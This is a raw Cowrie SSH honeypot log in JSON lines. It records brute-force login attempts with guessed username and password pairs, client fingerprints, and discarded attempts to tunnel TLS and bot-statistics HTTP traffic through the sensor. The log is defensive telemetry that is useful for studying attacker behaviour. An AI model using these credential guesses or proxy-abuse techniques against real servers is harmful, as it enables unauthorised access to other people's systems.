{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30980,"dst_ip":"10.17.0.5","dst_port":22,"session":"db906660ab5b","protocol":"ssh","message":"New connection: 91.92.40.36:30980 (10.17.0.5:22) [session: db906660ab5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:22.919342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:23.428570Z","src_ip":"91.92.40.36","session":"db906660ab5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:23.431616Z","src_ip":"91.92.40.36","session":"db906660ab5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxwell1983","message":"login attempt [root/maxwell1983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:24.195297Z","src_ip":"91.92.40.36","session":"e6dabdf95ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:26.755629Z","src_ip":"91.92.40.36","session":"db906660ab5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:26.827899Z","src_ip":"91.92.40.36","session":"e6dabdf95ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:28.732541Z","src_ip":"91.92.40.36","session":"db906660ab5b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:29.606942Z","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:29.691863Z","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:29.696880Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2\\xf2Z\\x8by\\xfbv\\xf7\\x8c\\xfbR\\xd0\\x12\\x89i\\xaf\\xed\\xfa\\t^\\x1b\\x14\\xb0\\x1aBC\\x9f\\xf0\\x19U\\xe3a \\xbb\\x8c=\\xbe\\x15$\\x1f\\x80\\xed&\\x1b\\x9e\\xc5U\\xad\\x8d&\\x1c\\xcc!bf\\t\\xfc\\xa8\\xac\\xcc\\x16\\xcd\\xd7\\x97\\x7f\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8\\xdb\\xd3\\x9a\\xcb\\x14\\reB\\xd1#\\xaf\\xa3 \\x07hU\\x84\\x05C\\x98w\\x18\\xf8\\xdd\\xd8\\xfbg\\xc4;O^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2\\xf2Z\\x8by\\xfbv\\xf7\\x8c\\xfbR\\xd0\\x12\\x89i\\xaf\\xed\\xfa\\t^\\x1b\\x14\\xb0\\x1aBC\\x9f\\xf0\\x19U\\xe3a \\xbb\\x8c=\\xbe\\x15$\\x1f\\x80\\xed&\\x1b\\x9e\\xc5U\\xad\\x8d&\\x1c\\xcc!bf\\t\\xfc\\xa8\\xac\\xcc\\x16\\xcd\\xd7\\x97\\x7f\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8\\xdb\\xd3\\x9a\\xcb\\x14\\reB\\xd1#\\xaf\\xa3 \\x07hU\\x84\\x05C\\x98w\\x18\\xf8\\xdd\\xd8\\xfbg\\xc4;O^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:29.701019Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:29.753856Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JUV4KiNBMD9vNFh2QSo1Rw%3D%3DHTy30iJXHMJ0AEKyvTITE6GtvKp205cR8o4KXqYe%2BGIngoF7uRPEFWlixf%2F4ukE5Guz3IF%2F7E5lAUx6cK5ekfRisbESbe5J7ODHlnnqq1W8lRgCaH9t%2FCIuKgxKkL69IlM6%2FX0Mj0bmUMuAzr1kNQl54XsrDv6oE%2F23XP5szSTyFXK3QNIHceAzQUA5mZ5WZC7BbPdFK%2FXXsxKcmRLbMl4bVVUMVkvvIp6Mts2F2obopRI5lDuCENM7ZY9Yf5jX2HEJpuhroWejPN%2BGAgAK3MQz2RhCROwCLWinn9xGqixJOYrvRcCB8oQJJ%2B0KcYElnAR8F7SEk4kI7aZwD0HoJz42Hq709TiVu%2Bdygn2PDUVh93BQJTjVaNw8D4dCu56WOl%2FT%2FshhQckCFTkR1ClPGstYZY09FyM79pUwW3NpLGfhkGfvQxHLc2D92SMooqwQ5N%2BuzKnZTEOfn%2BL%2FxdWjwB7UAuzmTXZnhkHm4DkV6hNFFr6pDMmclwPdvK4Pta26XQuc4vbGXv8WMw9104tSFs7xAimwJX6gNS8NUoc2F4iKANWgrjLaVq2bfM7lr2ggnQj1Yy7ANf8vCD2aaLXMDvrsZI3BXXyr8lAFwGqdTQsoQLVMfnLmr71oMWsA3a2QUE%2Bwzvo6xfNmU3zl%2BLbkyPAoE27xV%2F5fBHwecrHN0v3bC317y0f2hRu2Mc0DAjuqjVqEfQxX9FN2rj4T48L0lpfby%2FjlmxZJjPxLK%2F7wMyGkahvEHp1Bnzmn%2BiomIWgzWcneG5tFpPWJ27M8TPW1L0PqESJpU%2BI3ynalwzTzv%2B9KHXJrORBsxyEcBx7lwi9Lc8GAifU0gcSJoveK3eZFeu3FwkKm1dK28DHY5I9egVJtYymTSu9HzwXuqeT9QuHrHZdRvN4ZtLs1aW9fLR%2B%2BzMXfpFMJ5rf6L2kOe2xdFVk%2FihUV4LE1NznFifyhInDAXHydu80q%2Bc0LVhCZuIS8RiftLKNr1SUUqnRjCu94eVNfwPqUTbTR0a4Ac%2F36nOeXyLwrIznFa3ytOY6oRyj62dbmXigru1%2FJYNipYc6cO8nvNYMoDqao5GwcFfKeccK%2Bl'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JUV4KiNBMD9vNFh2QSo1Rw%3D%3DHTy30iJXHMJ0AEKyvTITE6GtvKp205cR8o4KXqYe%2BGIngoF7uRPEFWlixf%2F4ukE5Guz3IF%2F7E5lAUx6cK5ekfRisbESbe5J7ODHlnnqq1W8lRgCaH9t%2FCIuKgxKkL69IlM6%2FX0Mj0bmUMuAzr1kNQl54XsrDv6oE%2F23XP5szSTyFXK3QNIHceAzQUA5mZ5WZC7BbPdFK%2FXXsxKcmRLbMl4bVVUMVkvvIp6Mts2F2obopRI5lDuCENM7ZY9Yf5jX2HEJpuhroWejPN%2BGAgAK3MQz2RhCROwCLWinn9xGqixJOYrvRcCB8oQJJ%2B0KcYElnAR8F7SEk4kI7aZwD0HoJz42Hq709TiVu%2Bdygn2PDUVh93BQJTjVaNw8D4dCu56WOl%2FT%2FshhQckCFTkR1ClPGstYZY09FyM79pUwW3NpLGfhkGfvQxHLc2D92SMooqwQ5N%2BuzKnZTEOfn%2BL%2FxdWjwB7UAuzmTXZnhkHm4DkV6hNFFr6pDMmclwPdvK4Pta26XQuc4vbGXv8WMw9104tSFs7xAimwJX6gNS8NUoc2F4iKANWgrjLaVq2bfM7lr2ggnQj1Yy7ANf8vCD2aaLXMDvrsZI3BXXyr8lAFwGqdTQsoQLVMfnLmr71oMWsA3a2QUE%2Bwzvo6xfNmU3zl%2BLbkyPAoE27xV%2F5fBHwecrHN0v3bC317y0f2hRu2Mc0DAjuqjVqEfQxX9FN2rj4T48L0lpfby%2FjlmxZJjPxLK%2F7wMyGkahvEHp1Bnzmn%2BiomIWgzWcneG5tFpPWJ27M8TPW1L0PqESJpU%2BI3ynalwzTzv%2B9KHXJrORBsxyEcBx7lwi9Lc8GAifU0gcSJoveK3eZFeu3FwkKm1dK28DHY5I9egVJtYymTSu9HzwXuqeT9QuHrHZdRvN4ZtLs1aW9fLR%2B%2BzMXfpFMJ5rf6L2kOe2xdFVk%2FihUV4LE1NznFifyhInDAXHydu80q%2Bc0LVhCZuIS8RiftLKNr1SUUqnRjCu94eVNfwPqUTbTR0a4Ac%2F36nOeXyLwrIznFa3ytOY6oRyj62dbmXigru1%2FJYNipYc6cO8nvNYMoDqao5GwcFfKeccK%2Bl'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:29.756622Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:29.762218Z","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:29.807467Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03AH\\xb7\\x8d_\\x9cL^%J\\xe4I\\x13\\x07L@I_\\x12\\x16\\x1c\\x7f\\xb6KI\\x7f\\x93\\xdc\\xd4f\\xd26 }D\\x7f\\xec\\x91\\xe8\\xaa.\\x94\\xe2\\x83\\x08X\\n>\\xdbZ\\x17\"\\xf7\\x9fwg\\xc2\\xb4^\\xf2\\xb1s\\xd3\\xe5\\xfb\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcc\\x97^\\xee\\xd9\\x88\\xc6\\xfe\\xc9y\\x8d\\xc71=\\xa4\\x80\\xc4!tO\\xacW\\xe0\\x15\"\\x1fKxSe\\x19t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03AH\\xb7\\x8d_\\x9cL^%J\\xe4I\\x13\\x07L@I_\\x12\\x16\\x1c\\x7f\\xb6KI\\x7f\\x93\\xdc\\xd4f\\xd26 }D\\x7f\\xec\\x91\\xe8\\xaa.\\x94\\xe2\\x83\\x08X\\n>\\xdbZ\\x17\"\\xf7\\x9fwg\\xc2\\xb4^\\xf2\\xb1s\\xd3\\xe5\\xfb\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcc\\x97^\\xee\\xd9\\x88\\xc6\\xfe\\xc9y\\x8d\\xc71=\\xa4\\x80\\xc4!tO\\xacW\\xe0\\x15\"\\x1fKxSe\\x19t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:29.811846Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43754,"dst_ip":"10.17.0.5","dst_port":22,"session":"661483eac57f","protocol":"ssh","message":"New connection: 91.92.40.36:43754 (10.17.0.5:22) [session: 661483eac57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:32.273850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:32.311715Z","src_ip":"91.92.40.36","session":"661483eac57f","protocol":"ssh"}
